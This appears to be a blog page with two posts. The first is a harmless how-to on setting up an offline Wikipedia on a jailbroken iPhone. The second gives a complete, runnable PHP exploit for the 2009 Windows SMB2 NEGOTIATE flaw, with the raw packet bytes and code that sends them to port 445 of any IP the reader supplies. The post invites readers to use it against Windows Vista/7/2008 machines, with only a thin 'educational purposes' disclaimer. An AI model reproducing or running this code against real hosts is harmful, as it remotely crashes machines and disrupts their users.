Offline iPhone Wiki

MJ

If you’re an iPhone user you may have seen this before, I’m just making this post for people who may need some modification on the whole articles.bin or maybe for some other language wiki’s, like I did.

Before you begin you got to know, you need a Jailbroken iPhone to do this.

So… here’s the files you need:

  1. Wikipedia Dumps
  2. Indexer
  3. Wiki2srvd (for iPhone)
  4. Actually some way to copy articles.bin to you’re iphone

1. you can get you own wiki dumps (different language or … ) from here:

http://download.wikimedia.org/

for English Dump you can check: http://download.wikimedia.org/enwiki/

or for you’re own language : http://download.wikimedia.org/XXwiki/ (XX would be you language’s init)

the file name should be something like this: pages-articles.xml.bz2

2,3. the Indexer, the original place to get that is from the site of  T. Haukap but I couldn’t find anything related to Wiki in that site. Other places you can find this is by Wiki2Touch google codes page and also this project is somehow down for now.

anyways, I have attached the files needed including Wikisrvd v 0.65 (latest by now) in this post.

4. You can use SSH for transfering the file but if it’s too big you can use softwares like iFunBox or iPhone PC Suit in Windows, DiskAid or PhoneView in Mac.

——————————————————————-

Now all you have to do is run the indexer on the dump. (this is the view of the indexer and everything is obvious)

Wiki2Touch repackager/indexer

Copyright (c) 2008 T. Haukap

Version 0.65

Usage: indexer [-adIi] <filename>

filename: articles file from wikipedia like ‘enwiki-latest-pages-articles.xml.bz2′

-a : Add all articles (not removing namespaces like ‘Help’, ‘Category’ or so)

-d : Add an index where the diacritics (i.e. é, ä or so) in titles are not taken into account

-I : Not scan for images. ‘images.txt’ is not procduced.

-i : Scan for images only. An ‘articles.bin’ is not produced.

-s : Silent, don’t produce any output on the console window (except the copright message).


It will produce a file in the same directory as you dump named “articles.bin”.

then you need to install wikisrvd on your iPhone. the older version of wikisrvd is availble through Cydia but if you dump is bigger than 4 GBs you will need this version. also the Updated version is also availble in i-Phone.ir Cydia Repository.

now you just need to copy “articles.bin” to your iPhone in this path: “/var/Media/mobile/Wikipedia/en” (if you’re using english dump. en would be your own dump language init)

So now you’re done. go to 127.0.0.1:8080 on your iPhone’s safari and enjoy the Offline Wiki on the iPhone.

iPhone Wiki Files

These files are included in the attached zip file:

Mac -> gen, indexer, pack

Win -> ImageGetter.exe, TransferTool.exe, indexer.exe, gen.exe, pack.exe

iPhone-> wikisrvd-0.1.20091028.deb

Blue Screen of Shame

Once more Microsoft has done something great.

smb2 exploit that some may know as Blue Screen Vista Exploit has not yet been patched and not will be soon.

No Emergency Patch For Latest Windows Exploit

The solution for smb2 patch as Microsoft has published is to turn off your file sharing or turn on your firewall.

so you may use this exploit, of course for educational purposes only, and maybe to inform Microsoft of how annoying this exploit could be.

So I’ve managed to find/make a php code to do so and using it on my Mac with the php command. This code could run on iPhone with some modifications.

you may save this file (e.g bsod.php) and run it like this:

php  ./bsod.php [IP]

so the file would be as following:


<?
/*
* Lame Windows Vista / Windows 7 / Win2k8 R1 SP2+updates and beta R2 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote BSOD
* Author: Ricardo Almeida
* email:  ricardojba[at]aeiou[DoT]pt
*
* Credits: http://seclists.org/fulldisclosure/2009/Sep/0039.html (exploit ported to PHP)
*
*/
if ($argc != 2) {die("Usage: lame-smb-bsod.php \n");}
$host = $argv[1];
$payload = "\x00\x00\x00\x90".
"\xff\x53\x4d\x42".
"\x72\x00\x00\x00".
"\x00\x18\x53\xc8".
"\x00\x26".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe".
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54".
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31".
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00".
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57".
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61".
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c".
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c".
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e".
"\x30\x30\x32\x00";
$mysock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$result = socket_connect($mysock, $host, 445);
if ($result === false) echo "Connect failed.\nReason: ($result) " . socket_strerror(socket_last_error($mysock)) . "\n";
else echo "\nConnected to $host\n";
echo "Bye, Bye WindowzÉ\n";
socket_write($mysock, $payload, strlen($payload));
socket_close($mysock);
?>

Full Detailed article about Windows Smb2 Exploit: SMB2 Exploitation Guide for Housekeepers & Dummies !

If you want this exploit in other Programming Languages: http://lmgtfy.com/?q=smb2+exploit+code